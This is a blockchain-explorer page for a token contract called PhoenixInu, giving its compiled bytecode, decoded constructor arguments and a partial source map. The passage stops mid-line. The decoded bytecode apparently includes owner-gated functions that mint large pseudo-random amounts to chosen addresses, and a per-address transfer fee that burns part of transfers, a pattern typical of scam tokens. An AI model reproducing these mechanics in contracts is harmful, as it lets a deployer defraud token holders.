6000830152611c8081611a22565b9050919050565b60006020820190508181036000830152611ca081611a45565b9050919050565b60006020820190508181036000830152611cc081611a68565b9050919050565b60006020820190508181036000830152611ce081611a8b565b9050919050565b60006020820190508181036000830152611d0081611aae565b9050919050565b60006020820190508181036000830152611d2081611ad1565b9050919050565b60006020820190508181036000830152611d4081611af4565b9050919050565b60006020820190508181036000830152611d6081611b17565b9050919050565b60006020820190508181036000830152611d8081611b3a565b9050919050565b6000602082019050611d9c6000830184611b5d565b92915050565b6000602082019050611db76000830184611b83565b92915050565b6000611dc7611dd8565b9050611dd3828261202f565b919050565b6000604051905090565b600067ffffffffffffffff821115611dfd57611dfc612171565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611e3582611f7d565b9150611e4083611f7d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e7557611e746120e4565b5b828201905092915050565b6000611e8b82611f7d565b9150611e9683611f7d565b925082611ea657611ea5612113565b5b828204905092915050565b6000611ebc82611f7d565b9150611ec783611f7d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611f0057611eff6120e4565b5b828202905092915050565b6000611f1682611f7d565b9150611f2183611f7d565b925082821015611f3457611f336120e4565b5b828203905092915050565b6000611f4a82611f5d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611f9f82611f7d565b9050919050565b6000611fb182611f7d565b9050919050565b6000611fc382611f7d565b9050919050565b60005b83811015611fe8578082015181840152602081019050611fcd565b83811115611ff7576000848401525b50505050565b6000600282049050600182168061201557607f821691505b6020821081141561202957612028612142565b5b50919050565b612038826121a0565b810181811067ffffffffffffffff8211171561205757612056612171565b5b80604052505050565b600061206b82611f7d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561209e5761209d6120e4565b5b600182019050919050565b6000819050919050565b60006120be82611f7d565b91506120c983611f7d565b9250826120d9576120d8612113565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b61245b81611f3f565b811461246657600080fd5b50565b61247281611f7d565b811461247d57600080fd5b5056fea26469706673582212200b8fc2f97ac39d4b4e690889783148f123ec20f34ccda3231dc1a194f3adb4cc64736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000029a2241af62c0000000000000000000000000000000000000000000000000000000000000000000a50686f656e6978496e7500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000750686f656e697800000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c1af578511610066578063c1af578514610276578063dd62ed3e14610280578063f2fde38b146102b0578063ffa1ad74146102cc576100f5565b8063715018a6146102005780638da5cb5b1461020a57806395d89b4114610228578063a9059cbb14610246576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce56714610196578063430432d4146101b457806370a08231146101d0576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b6101026102ea565b60405161010f9190611c45565b60405180910390f35b610132600480360381019061012d9190611921565b61037c565b60405161013f9190611bd9565b60405180910390f35b61015061039a565b60405161015d9190611d87565b60405180910390f35b610180600480360381019061017b91906118d2565b6103a4565b60405161018d9190611bd9565b60405180910390f35b61019e6104a5565b6040516101ab9190611da2565b60405180910390f35b6101ce60048036038101906101c9919061195d565b6104bc565b005b6101ea60048036038101906101e5919061186d565b610916565b6040516101f79190611d87565b60405180910390f35b61020861095f565b005b6102126109e7565b60405161021f9190611bbe565b60405180910390f35b610230610a10565b60405161023d9190611c45565b60405180910390f35b610260600480360381019061025b9190611921565b610aa2565b60405161026d9190611bd9565b60405180910390f35b61027e610ac0565b005b61029a60048036038101906102959190611896565b610e45565b6040516102a79190611d87565b60405180910390f35b6102ca60048036038101906102c5919061186d565b610ecc565b005b6102d4610fc4565b6040516102e19190611d87565b60405180910390f35b6060600580546102f990611ffd565b80601f016020809104026020016040519081016040528092919081815260200182805461032590611ffd565b80156103725780601f1061034757610100808354040283529160200191610372565b820191906000526020600020905b81548152906001019060200180831161035557829003601f168201915b5050505050905090565b6000610390610389610fc9565b8484610fd1565b6001905092915050565b6000600854905090565b60006103b184848461119c565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006103fc610fc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561047c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047390611ce7565b60405180910390fd5b61049985610488610fc9565b85846104949190611f0b565b610fd1565b60019150509392505050565b6000600760009054906101000a900460ff16905090565b6104ef6104c7610fc9565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611586565b600060024244604051602001610506929190611b92565b6040516020818303038152906040528051906020012060001c61052991906120b3565b905060005b825181101561091157600082141561071b576105e06d09dc5ada82b70b59df02000000006002600086858151811061058f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f890919063ffffffff16565b6002600085848151811061061d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082818151811061069c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6cfc6f7c40458122964d0000000060405161070e9190611c0f565b60405180910390a36108fe565b60018214156108fd576107c46d18a6e32246c99c60ad850000000060026000868581518110610773577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f890919063ffffffff16565b60026000858481518110610801577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550828181518110610880577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6e604be73de4838ad9a5cf88000000006040516108f49190611c2a565b60405180910390a35b5b808061090990612060565b91505061052e565b505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610967610fc9565b73ffffffffffffffffffffffffffffffffffffffff166109856109e7565b73ffffffffffffffffffffffffffffffffffffffff16146109db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d290611d07565b60405180910390fd5b6109e5600061160e565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610a1f90611ffd565b80601f0160208091040260200160405190810160405280929190818152602001828054610a4b90611ffd565b8015610a985780601f10610a6d57610100808354040283529160200191610a98565b820191906000526020600020905b815481529060010190602001808311610a7b57829003601f168201915b5050505050905090565b6000610ab6610aaf610fc9565b848461119c565b6001905092915050565b610af3610acb610fc9565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611586565b600060024244604051602001610b0a929190611b92565b6040516020818303038152906040528051906020012060001c610b2d91906120b3565b90506000811415610cb957610bba6d04ee2d6d415b85acef810000000060026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6c7e37be2022c0914b2680000000604051610cac9190611bf4565b60405180910390a3610e42565b6001811415610e4157610d446d18a6e32246c99c60ad850000000060026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6e604be73de4838ad9a5cf8800000000604051610e389190611c2a565b60405180910390a35b5b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ed4610fc9565b73ffffffffffffffffffffffffffffffffffffffff16610ef26109e7565b73ffffffffffffffffffffffffffffffffffffffff1614610f48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3f90611d07565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf90611c87565b60405180910390fd5b610fc18161160e565b50565b600181565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611041576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103890611d47565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a890611ca7565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161118f9190611d87565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561120c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120390611d27565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561127c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127390611c67565b60405180910390fd5b6112878383836116e8565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561130e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130590611cc7565b60405180910390fd5b600061131a85846116ed565b90506000611331828561178190919063ffffffff16565b9050611346848461178190919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113db81600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061147082600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116d290919063ffffffff16565b600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115109190611d87565b60405180910390a3600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516115769190611d87565b60405180910390a3505050505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146115f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115eb90611d67565b60405180910390fd5b5050565b600081836116069190611e80565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836116e09190611e2a565b905092915050565b505050565b600080600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008311156117525761174f6000826116d290919063ffffffff16565b90505b611778606461176a838661179790919063ffffffff16565b6115f890919063ffffffff16565b91505092915050565b6000818361178f9190611f0b565b905092915050565b600081836117a59190611eb1565b905092915050565b60006117c06117bb84611de2565b611dbd565b905080838252602082019050828560208602820111156117df57600080fd5b60005b8581101561180f57816117f58882611819565b8452602084019350602083019250506001810190506117e2565b5050509392505050565b60008135905061182881612452565b92915050565b600082601f83011261183f57600080fd5b813561184f8482602086016117ad565b91505092915050565b60008135905061186781612469565b92915050565b60006020828403121561187f57600080fd5b600061188d84828501611819565b91505092915050565b600080604083850312156118a957600080fd5b60006118b785828601611819565b92505060206118c885828601611819565b9150509250929050565b6000806000606084860312156118e757600080fd5b60006118f586828701611819565b935050602061190686828701611819565b925050604061191786828701611858565b9150509250925092565b6000806040838503121561193457600080fd5b600061194285828601611819565b925050602061195385828601611858565b9150509250929050565b60006020828403121561196f57600080fd5b600082013567ffffffffffffffff81111561198957600080fd5b6119958482850161182e565b91505092915050565b6119a781611f3f565b82525050565b6119b681611f51565b82525050565b6119c581611f94565b82525050565b6119d481611fa6565b82525050565b6119e381611fb8565b82525050565b60006119f482611e0e565b6119fe8185611e19565b9350611a0e818560208601611fca565b611a17816121a0565b840191505092915050565b6000611a2f602383611e19565b9150611a3a826121b1565b604082019050919050565b6000611a52602683611e19565b9150611a5d82612200565b604082019050919050565b6000611a75602283611e19565b9150611a808261224f565b604082019050919050565b6000611a98602683611e19565b9150611aa38261229e565b604082019050919050565b6000611abb602883611e19565b9150611ac6826122ed565b604082019050919050565b6000611ade602083611e19565b9150611ae98261233c565b602082019050919050565b6000611b01602583611e19565b9150611b0c82612365565b604082019050919050565b6000611b24602483611e19565b9150611b2f826123b4565b604082019050919050565b6000611b47602183611e19565b9150611b5282612403565b604082019050919050565b611b6681611f7d565b82525050565b611b7d611b7882611f7d565b6120a9565b82525050565b611b8c81611f87565b82525050565b6000611b9e8285611b6c565b602082019150611bae8284611b6c565b6020820191508190509392505050565b6000602082019050611bd3600083018461199e565b92915050565b6000602082019050611bee60008301846119ad565b92915050565b6000602082019050611c0960008301846119bc565b92915050565b6000602082019050611c2460008301846119cb565b92915050565b6000602082019050611c3f60008301846119da565b92915050565b60006020820190508181036000830152611c5f81846119e9565b905092915050565b60006020820190508181036000830152611c8081611a22565b9050919050565b60006020820190508181036000830152611ca081611a45565b9050919050565b60006020820190508181036000830152611cc081611a68565b9050919050565b60006020820190508181036000830152611ce081611a8b565b9050919050565b60006020820190508181036000830152611d0081611aae565b9050919050565b60006020820190508181036000830152611d2081611ad1565b9050919050565b60006020820190508181036000830152611d4081611af4565b9050919050565b60006020820190508181036000830152611d6081611b17565b9050919050565b60006020820190508181036000830152611d8081611b3a565b9050919050565b6000602082019050611d9c6000830184611b5d565b92915050565b6000602082019050611db76000830184611b83565b92915050565b6000611dc7611dd8565b9050611dd3828261202f565b919050565b6000604051905090565b600067ffffffffffffffff821115611dfd57611dfc612171565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611e3582611f7d565b9150611e4083611f7d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e7557611e746120e4565b5b828201905092915050565b6000611e8b82611f7d565b9150611e9683611f7d565b925082611ea657611ea5612113565b5b828204905092915050565b6000611ebc82611f7d565b9150611ec783611f7d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611f0057611eff6120e4565b5b828202905092915050565b6000611f1682611f7d565b9150611f2183611f7d565b925082821015611f3457611f336120e4565b5b828203905092915050565b6000611f4a82611f5d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000611f9f82611f7d565b9050919050565b6000611fb182611f7d565b9050919050565b6000611fc382611f7d565b9050919050565b60005b83811015611fe8578082015181840152602081019050611fcd565b83811115611ff7576000848401525b50505050565b6000600282049050600182168061201557607f821691505b6020821081141561202957612028612142565b5b50919050565b612038826121a0565b810181811067ffffffffffffffff8211171561205757612056612171565b5b80604052505050565b600061206b82611f7d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561209e5761209d6120e4565b5b600182019050919050565b6000819050919050565b60006120be82611f7d565b91506120c983611f7d565b9250826120d9576120d8612113565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b61245b81611f3f565b811461246657600080fd5b50565b61247281611f7d565b811461247d57600080fd5b5056fea26469706673582212200b8fc2f97ac39d4b4e690889783148f123ec20f34ccda3231dc1a194f3adb4cc64736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000029a2241af62c0000000000000000000000000000000000000000000000000000000000000000000a50686f656e6978496e7500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000750686f656e697800000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): PhoenixInu
Arg [1] : symbol_ (string): Phoenix
Arg [2] : decimals_ (uint8): 9
Arg [3] : totalSupply_ (uint256): 3000000000000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000000000000000000000000000000000000000000009
Arg [3] : 00000000000000000000000000000000000000000000000029a2241af62c0000
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000a
Arg [5] : 50686f656e6978496e7500000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [7] : 50686f656e697800000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

4939:6633:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5830:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8322:210;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6131:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8540:464;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6032:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6245:804;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7704:177;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1488:94;;;:::i;:::-;;1265:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5929:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7889:216;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7057:641;;;:::i;:::-;;8113:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1590:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5028:35;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5830:91;5875:13;5908:5;5901:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5830:91;:::o;8322:210::-;8441:4;8463:39;8472:12;:10;:12::i;:::-;8486:7;8495:6;8463:8;:39::i;:::-;8520:4;8513:11;;8322:210;;;;:::o;6131:108::-;6192:7;6219:12;;6212:19;;6131:108;:::o;8540:464::-;8680:4;8705:36;8715:6;8723:9;8734:6;8705:9;:36::i;:::-;8754:24;8781:11;:19;8793:6;8781:19;;;;;;;;;;;;;;;:33;8801:12;:10;:12::i;:::-;8781:33;;;;;;;;;;;;;;;;8754:60;;8853:6;8833:16;:26;;8825:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;8915:57;8924:6;8932:12;:10;:12::i;:::-;8965:6;8946:16;:25;;;;:::i;:::-;8915:8;:57::i;:::-;8992:4;8985:11;;;8540:464;;;;;:::o;6032:91::-;6081:5;6106:9;;;;;;;;;;;6099:16;;6032:91;:::o;6245:804::-;6318:42;6340:12;:10;:12::i;:::-;6354:5;;;;;;;;;;;6318:21;:42::i;:::-;6371:20;6468:1;6429:15;6446:16;6412:51;;;;;;;;;:::i;:::-;;;;;;;;;;;;;6402:62;;;;;;6394:71;;:75;;;;:::i;:::-;6371:98;;6486:6;6482:560;6502:8;:15;6498:1;:19;6482:560;;;6559:1;6543:12;:17;6539:492;;;6606:61;6633:33;6606:9;:22;6616:8;6625:1;6616:11;;;;;;;;;;;;;;;;;;;;;;6606:22;;;;;;;;;;;;;;;;:26;;:61;;;;:::i;:::-;6581:9;:22;6591:8;6600:1;6591:11;;;;;;;;;;;;;;;;;;;;;;6581:22;;;;;;;;;;;;;;;:86;;;;6712:8;6721:1;6712:11;;;;;;;;;;;;;;;;;;;;;;6691:67;;6708:1;6691:67;;;6725:32;6691:67;;;;;;:::i;:::-;;;;;;;;6539:492;;;6812:1;6796:12;:17;6793:238;;;6859:61;6886:33;6859:9;:22;6869:8;6878:1;6869:11;;;;;;;;;;;;;;;;;;;;;;6859:22;;;;;;;;;;;;;;;;:26;;:61;;;;:::i;:::-;6834:9;:22;6844:8;6853:1;6844:11;;;;;;;;;;;;;;;;;;;;;;6834:22;;;;;;;;;;;;;;;:86;;;;6965:8;6974:1;6965:11;;;;;;;;;;;;;;;;;;;;;;6944:71;;6961:1;6944:71;;;6978:36;6944:71;;;;;;:::i;:::-;;;;;;;;6793:238;6539:492;6519:3;;;;;:::i;:::-;;;;6482:560;;;;6245:804;;:::o;7704:177::-;7823:7;7855:9;:18;7865:7;7855:18;;;;;;;;;;;;;;;;7848:25;;7704:177;;;:::o;1488:94::-;1411:12;:10;:12::i;:::-;1400:23;;:7;:5;:7::i;:::-;:23;;;1392:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1553:21:::1;1571:1;1553:9;:21::i;:::-;1488:94::o:0;1265:87::-;1311:7;1338:6;;;;;;;;;;;1331:13;;1265:87;:::o;5929:95::-;5976:13;6009:7;6002:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5929:95;:::o;7889:216::-;8011:4;8033:42;8043:12;:10;:12::i;:::-;8057:9;8068:6;8033:9;:42::i;:::-;8093:4;8086:11;;7889:216;;;;:::o;7057:641::-;7101:42;7123:12;:10;:12::i;:::-;7137:5;;;;;;;;;;;7101:21;:42::i;:::-;7154:20;7251:1;7212:15;7229:16;7195:51;;;;;;;;;:::i;:::-;;;;;;;;;;;;;7185:62;;;;;;7177:71;;:75;;;;:::i;:::-;7154:98;;7283:1;7267:12;:17;7263:428;;;7320:55;7341:33;7320:9;:16;7330:5;;;;;;;;;;;7320:16;;;;;;;;;;;;;;;;:20;;:55;;;;:::i;:::-;7301:9;:16;7311:5;;;;;;;;;;;7301:16;;;;;;;;;;;;;;;:74;;;;7416:5;;;;;;;;;;;7395:61;;7412:1;7395:61;;;7423:32;7395:61;;;;;;:::i;:::-;;;;;;;;7263:428;;;7502:1;7486:12;:17;7483:208;;;7539:55;7560:33;7539:9;:16;7549:5;;;;;;;;;;;7539:16;;;;;;;;;;;;;;;;:20;;:55;;;;:::i;:::-;7520:9;:16;7530:5;;;;;;;;;;;7520:16;;;;;;;;;;;;;;;:74;;;;7635:5;;;;;;;;;;;7614:65;;7631:1;7614:65;;;7642:36;7614:65;;;;;;:::i;:::-;;;;;;;;7483:208;7263:428;7057:641;:::o;8113:201::-;8247:7;8279:11;:18;8291:5;8279:18;;;;;;;;;;;;;;;:27;8298:7;8279:27;;;;;;;;;;;;;;;;8272:34;;8113:201;;;;:::o;1590:192::-;1411:12;:10;:12::i;:::-;1400:23;;:7;:5;:7::i;:::-;:23;;;1392:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1699:1:::1;1679:22;;:8;:22;;;;1671:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;1755:19;1765:8;1755:9;:19::i;:::-;1590:192:::0;:::o;5028:35::-;5062:1;5028:35;:::o;820:98::-;873:7;900:10;893:17;;820:98;:::o;11054:380::-;11207:1;11190:19;;:5;:19;;;;11182:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11288:1;11269:21;;:7;:21;;;;11261:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;11372:6;11342:11;:18;11354:5;11342:18;;;;;;;;;;;;;;;:27;11361:7;11342:27;;;;;;;;;;;;;;;:36;;;;11410:7;11394:32;;11403:5;11394:32;;;11419:6;11394:32;;;;;;:::i;:::-;;;;;;;;11054:380;;;:::o;9014:936::-;9172:1;9154:20;;:6;:20;;;;9146:70;;;;;;;;;;;;:::i;:::-;;;;;;;;;9256:1;9235:23;;:9;:23;;;;9227:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;9311:47;9332:6;9340:9;9351:6;9311:20;:47::i;:::-;9371:21;9395:9;:17;9405:6;9395:17;;;;;;;;;;;;;;;;9371:41;;9448:6;9431:13;:23;;9423: